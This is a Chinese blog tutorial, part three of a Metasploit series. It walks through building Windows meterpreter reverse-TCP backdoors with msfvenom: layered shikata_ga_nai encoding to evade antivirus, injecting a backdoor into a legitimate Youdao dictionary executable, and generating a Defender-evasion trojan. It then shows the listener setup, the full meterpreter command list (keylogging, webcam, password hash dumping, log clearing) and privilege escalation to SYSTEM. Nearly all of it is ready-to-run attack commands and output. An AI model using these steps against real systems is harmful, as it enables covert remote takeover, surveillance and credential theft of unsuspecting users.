Metasploit后门渗透(三)

1.1 后门制作

1.1.1 使用编码器生成后门

1.1.1.1 使用一个编码器生成后门

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/windows01.exe
  • 参数说明:
  • -a:指定架构如x86/x64。x86代表32位,x64代表64位
  • –platform:指定平台,这里选择windows,通过msfvenom -l platforms可以查看所有支持的平台
  • -p:设置攻击载荷,我们使用windows/meterpreter/reverse tcp,可以通过msfvenom -l payloads查看所有攻击载荷
  • LHOST:目标主机执行程序后连接我们Kali的地址
  • LPORT:目标主机执行程序后连接我们 Kali的端口
  • -b:去掉坏字符,坏字符会影响payload正常执行
  • -e:指定编码器,也就是所谓的免杀,x86/shikata_ ga_ nai是msf自带的编码器,可以通过msfvenom -l encoders查看所有编码器
  • -i:指定payload有效载荷编码迭代次数,指定编码加密次数, 为了让杀毒软件更难查出源代码
  • -f:指定生成格式,可以是raw, exe, elf, jar, C语言的,python 的,java 的…..,用msfvenom -l formats查看所有支持的格式
  • -o:指定文件名称和导出位置

1.1.1.2 使用多(两)个编码器生成后门

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/ao /lpha_upper -i 20 -f exe -o /tmp/windows02.exe

1.1.2 向绿色软件中注入后门

1.1.2.1 上传绿色版软件

# ll -h YoudaoDictHelper.exe
-rw-r--r-- 1 root root 2.9M Dec 18  2020 YoudaoDictHelper.exe

1.1.2.2 注入后门

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -x YoudaoDictHelper.exe -f exe -o /tmp/YoudaoDicDictHelper01.exe

1.1.3 使用evasion模块生成后门

evasion是metasploit自带的模块,使用此模块可以生成反杀毒软件的木马

msf6 > search evasion

图片[1]|Metasploit后门渗透(三)|leon的博客

msf6 > use evasion/windows/windows_defender_exe
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > show options

图片[2]|Metasploit后门渗透(三)|leon的博客

msf6 evasion(windows/windows_defender_exe) > set FILENAME muma01.exe
FILENAME => muma01.exe
msf6 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > set LHOST 192.168.10.180
LHOST => 192.168.10.180
msf6 evasion(windows/windows_defender_exe) > set LPORT 4444
LPORT => 4444
msf6 evasion(windows/windows_defender_exe) > run

图片[3]|Metasploit后门渗透(三)|leon的博客

1.2 后门使用

1.2.1 kali启动后门监听程序

# msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
# 和后门使用同样的payloads
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.180
LHOST => 192.168.10.180
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

1.2.1.1 前台启动监听

msf6 exploit(multi/handler) > run

1.2.1.2 后台启动监听(允许多个客户端连接)

msf6 exploit(multi/handler) > run -j

1.3 客户机运行后门程序后渗透

1.3.1 查看已经连接上的客户机

图片[4]|Metasploit后门渗透(三)|leon的博客

1.3.2 meterpreter相关命令

1.3.2.1 命令帮助

meterpreter > help
Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session
    ssl_verify                Modify the SSL certificate verification setting
    transport                 Manage the transport mechanisms
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam

Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play a waveform audio file (.wav) on the target system

Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
========================
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

1.3.2.2 收集系统信息

meterpreter > getuid
Server username: pm-PC\admin
meterpreter > sysinfo

图片[5]|Metasploit后门渗透(三)|leon的博客

meterpreter > dir

图片[6]|Metasploit后门渗透(三)|leon的博客

meterpreter > ipconfig

图片[7]|Metasploit后门渗透(三)|leon的博客

1.3.2.3 系统操作

# 系统提权
meterpreter > load priv
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 执行系统中的程序
meterpreter > execute -f notepad.exe
Process 2064 created.

# 上传文件到系统
meterpreter > upload /tmp/test.txt c:\\test.txt
[*] uploading  : /tmp/test.txt -> c:\test.txt
[*] Uploaded 4.00 B of 4.00 B (100.0%): /tmp/test.txt -> c:\test.txt
[*] uploaded   : /tmp/test.txt -> c:\test.txt

meterpreter > background    # 保存会话到后台
温馨提示:本文最后更新于2022-12-20 20:57:32,已超过493天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2957.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享